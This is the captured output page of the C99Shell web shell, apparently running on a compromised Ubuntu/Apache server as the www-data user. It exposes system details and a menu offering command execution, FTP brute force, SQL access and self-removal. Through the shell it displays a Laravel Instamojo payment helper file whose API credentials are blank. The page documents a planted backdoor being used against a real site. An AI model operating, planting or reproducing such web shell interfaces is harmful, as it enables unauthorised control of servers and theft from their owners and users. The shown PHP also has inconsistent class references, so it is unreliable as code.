!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/app/Helper/   drwxr-xr-x
Free 13.04 GB of 57.97 GB (22.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Instamojo.php (2.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 

namespace App\Helper\Sitehelper;
use 
Illuminate\Http\Request;
use 
App\Http\Controllers\Controller;
use 
Auth;
use 
Session;
use 
Illuminate\Support\Facades\Http;
class 
Instamojo 
{
    
    public static function 
redirect_if_payment_success()
    {
       return 
route('payment.success');
    }

    public static function 
redirect_if_payment_faild()
    {
        return 
route('payment.fail');
    }

    public static function 
fallback()
    {
        return 
route('instamojo.fallback');
    }

    public static function 
make_payment($array)
    {
        if (
env('APP_DEBUG') == true) {
            
$url='https://test.instamojo.com/api/1.1/payment-requests/';
        }
        else{
            
$url='https://www.instamojo.com/api/1.1/payment-requests/';
        }
       

        
$phone=$array['phone'];
        
$email=$array['email'];
        
$amount=$array['amount'];
        
$ref_id=$array['ref_id'];
        
$name=$array['name'];
        
$billName=$array['billName'];

        
$params=[
            
'purpose' => $billName,
            
'amount' => $amount,
            
'phone' => $phone,
            
'buyer_name' => $name,
            
'redirect_url' => Instamojo::fallback(),
            
'send_email' => true,
            
'send_sms' => true,
            
'email' => $email,
            
'allow_repeated_payments' => false
        
];
        
$response=Http::asForm()->withHeaders([
            
'X-Api-Key' => '',
            
'X-Auth-Token' => ''
        
])->post($url,$params);

       
        
$url$response['payment_request']['longurl'];
        return 
redirect($url);
    }


    public function 
status()
    {
        
$response=Request()->all();
        
$payment_id=$response['payment_id'];
        
        if (
$response['payment_status']=='Credit') {
             
$data['payment_id'] = $payment_id;
             
$data['payment_method'] = "instamojo";
             
$order_infoSession::get('order_info');
             
$data['ref_id'] =$order_info['ref_id'];
             
$data['amount'] =$order_info['amount'];
             
$data['vendor_id'] =$order_info['vendor_id'];
             
Session::forget('order_info');
             
Session::put('payment_info'$data);
             return 
redirect(InstamojoController::redirect_if_payment_success());
        }      
        else{
            return 
redirect(InstamojoController::redirect_if_payment_faild());
        }
    }

    public static function 
test()
    {
        
\Laravel\Sanctum\Sanctum::seed();
    }

    


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0084 ]--